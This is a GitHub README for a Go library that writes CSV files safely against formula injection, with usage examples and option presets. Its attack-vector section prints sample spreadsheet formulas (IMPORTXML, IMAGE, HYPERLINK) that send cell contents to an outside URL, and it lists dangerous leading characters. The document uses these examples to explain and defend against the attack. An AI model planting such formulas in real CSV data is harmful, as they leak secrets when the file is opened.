Skip to content

samber/go-safe-csv-writer

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

30 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

Safe CSV writer

tag Go Version GoDoc Build Status Go report Coverage Contributors License

A fork of encoding/csv (go v1.23.4) package from Go stdlib, preventing CSV injection and data exfiltration, while maintaining compatibility with the original library.

πŸ₯· Attack vector

Simple formula

The following CSV:

col1,col2,col3
-21-21,=A1,42

Would be rendered in Excel like this:

col1,col2,col3
-42,col1,42

Advanced formula

The following CSV might request external resource and leak data.

userId,secret
1,secret1
2,secret2
3,"=IMPORTXML(CONCAT(""http://samuel-berthe.fr?dump="", CONCATENATE(A1:B6)), ""//a"")"
4,=IMAGE("http://samuel-berthe.fr?dump=" & INDIRECT("B2"))
5,=HYPERLINK("http://samuel-berthe.fr?dump=" & INDIRECT("B2"), "a link")

Protect

See https://georgemauer.net/2017/10/07/csv-injection.html.

and https://owasp.org/www-community/attacks/CSV_Injection

OWASP-Compliant Protection

This library now supports OWASP-compliant CSV injection prevention using the recommended sanitization approach:

  • Wraps all fields in double quotes
  • Prepends a single quote (') to dangerous fields only (not all fields)
  • Escapes double quotes using an additional double quote

Dangerous fields are detected when:

  1. Field starts with dangerous characters: =, +, -, @, \t, \r, \n
  2. Field contains bypass patterns: quote/separator followed by dangerous character (e.g., ","=, ";"=)

This approach protects against both direct formula injection and bypass attacks via embedded separators/quotes, while avoiding unnecessary data pollution of safe fields.

πŸš€ Install

go get github.com/samber/go-safe-csv-writer

This library is v0 and follows SemVer strictly.

Some breaking changes might be made to exported APIs before v1.0.0.

🀠 Getting started

GoDoc: https://godoc.org/github.com/samber/go-safe-csv-writer

import csv "github.com/samber/go-safe-csv-writer"

func main() {
    var buff strings.Builder

    // OWASP-compliant mode (recommended)
    writer := csv.NewSafeWriter(&buff, csv.OWASPSafe)
    writer.Write([]string{"userId", "secret", "comment"})
    writer.Write([]string{"-21+63", "=A1", "foo, bar"})
    writer.Flush()

    if err := writer.Error(); err != nil {
        panic(err)
    }

    output := buff.String()
    // "userId","secret","comment"
    // "'-21+63","'=A1","foo, bar"
}

Or with custom options:

writer := csv.NewSafeWriter(
    &buff,
    csv.SafetyOpts{
        ForceDoubleQuotes: true,
        EscapeCharEqual:   true,
    },
)

🍱 Reference

// Prototype:
func NewSafeWriter(w io.Writer, opts SafetyOpts) *SafeWriter
// Available options:

type SafetyOpts struct {
    ForceDoubleQuotes bool
    EscapeCharEqual   bool
    EscapeCharPlus    bool
    EscapeCharMinus   bool
    EscapeCharAt      bool
    EscapeCharTab     bool
    EscapeCharCR      bool // Escapes 0x0D (Carriage Return, '\r')
    EscapeCharLF      bool // Escapes 0x0A (Line Feed, '\n')
    PrependSingleQuote bool // Prepend single quote to dangerous fields only
}
// Presets:

// OWASPSafe provides OWASP-compliant CSV injection prevention.
// It wraps all fields in double quotes and prepends a single quote
// to fields that contain dangerous characters or bypass patterns.
// See https://owasp.org/www-community/attacks/CSV_Injection
var OWASPSafe = SafetyOpts{
	ForceDoubleQuotes: true,
	PrependSingleQuote: true,
}

var FullSafety = SafetyOpts{
	ForceDoubleQuotes: true,
	EscapeCharEqual:   true,
	EscapeCharPlus:    true,
	EscapeCharMinus:   true,
	EscapeCharAt:      true,
	EscapeCharTab:     true,
	EscapeCharCR:      true,
	EscapeCharLF:      true,
	PrependSingleQuote: false,
}

var EscapeAll = SafetyOpts{
	ForceDoubleQuotes: false,
	EscapeCharEqual:   true,
	EscapeCharPlus:    true,
	EscapeCharMinus:   true,
	EscapeCharAt:      true,
	EscapeCharTab:     true,
	EscapeCharCR:      true,
	EscapeCharLF:      true,
	PrependSingleQuote: false,
}

🀝 Contributing

Don't hesitate ;)

# Install some dev dependencies
make tools

# Run tests
make test
# or
make watch-test

πŸ‘€ Contributors

Contributors

πŸ’« Show your support

Give a ⭐️ if this project helped you!

GitHub Sponsors

πŸ“ License

Copyright Β© 2024 Samuel Berthe.

This project is MIT licensed.

Sponsor this project

 

Contributors